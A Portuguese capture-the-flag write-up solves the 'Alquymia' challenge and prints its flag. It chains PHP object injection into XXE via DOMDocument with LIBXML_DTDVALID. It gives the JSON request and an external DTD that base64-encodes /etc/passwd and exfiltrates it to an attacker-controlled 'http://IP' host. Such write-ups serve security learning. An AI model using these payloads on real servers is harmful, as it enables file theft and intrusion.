Alquymia


ALQ{PHP_1nt3rn4ls_F0r_Fun_4nd_Pr0f1t}

Inicialmente, somos apresentados a um site com um trecho de código PHP, sendo ele o seguinte:

<?php  
	if($_SERVER['REQUEST_METHOD'] == 'POST') {        
		$data = json_decode(file_get_contents("php://input"));    
		$classe = $data->classe;    
		$funcao = $data->funcao;    
		$arg = $data->arg;        
		$instancia = new $classe();    
		call_user_func_array([$instancia, $funcao], $arg);  
	} else {    
		highlight_file(__FILE__);  
	}  
?>

Nesse código, podemos perceber que, através de uma requisição do tipo POST, temos conseguimos passar os parâmetros classe, funcao e arg. Ou seja, em uma requisição do tipo POST podemos instanciar uma classe raiz do PHP, sem parâmetros nos construtores e chamar uma função dessa classe. Diante disso, já podemos notar uma primeira vulnerabilidade no sistema, sendo ela uma Object injection no sistema. Através disso, devemos explorar e conseguir escalar essa vulnerabilidade para conseguirmos obter a flag.

No PHP, existe uma classe chamada DOMDocument que possuí o método loadxml, que carrega um XML no código. Portanto, após isso, já temos uma segunda vulnerabilidade, sendo ela um (CWE-611) XML External Entites (XXE).

Entretanto, não conseguimos explorar essa vulnerabilidade apenas chamando essa função. Para isso, devemos habilitar a flag do DOMDocument LIBXML_DTDVALID, onde irá facilitar o ataque de (CWE-611) XML External Entites (XXE), de acordo com a documentação oficial do PHP.

center

O valor dessa constante é 16.

Então, depois de ativar essa opção, conseguimos fazer com que o servidor faça uma requisição a um servidor externo e carregue outro XML no sistema, onde pode possuir mais de uma entidade. Então, para explorarmos essa série de vulnerabilidades, precisamos fazer com que o servidor realize um request e carregue outro XML, assim, o request para essa página ficará:

{ 
	"classe":"DOMDocument", 
	"funcao":"loadxml", 
	"arg": [ 
		"<!DOCTYPE foo [<!ENTITY % xxe SYSTEM 'http://IP/arquivo.dtd'> %xxe;]>", 
		16 
	] 
}

É necessário utilizar uma ENTITY para realizar uma requisição a um servidor externo para conseguirmos realizar um ataque de (CWE-918) Server-Side Request Forgery (SSRF) e conseguirmos carregar um XML mais completo. O seguinte XML deve ser carregado:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://IP/?x=%file;'>">
%eval;
%exfiltrate;

Esse script, primeiramente, na entidade file, solicita um arquivo do sistema e armazena, encodado em Base64. A entidade eval declara uma terceira entidade chamada exfiltrate que solicita a entidade file para ser armazenada na URL da entidade exfiltrate. Após isso, a entidade eval é chamada, que, por consequência, declara a entidade chamada exfiltrate, que, por consequência, realiza a requisição para o servidor externo, através de um (CWE-918) Server-Side Request Forgery (SSRF).

Ao solicitar o arquivo /etc/passwd, conseguimos o retorno do servidor.

700|center

E, para obter a flag, devemos realizar a requisição para /var/www/html/.htaccess.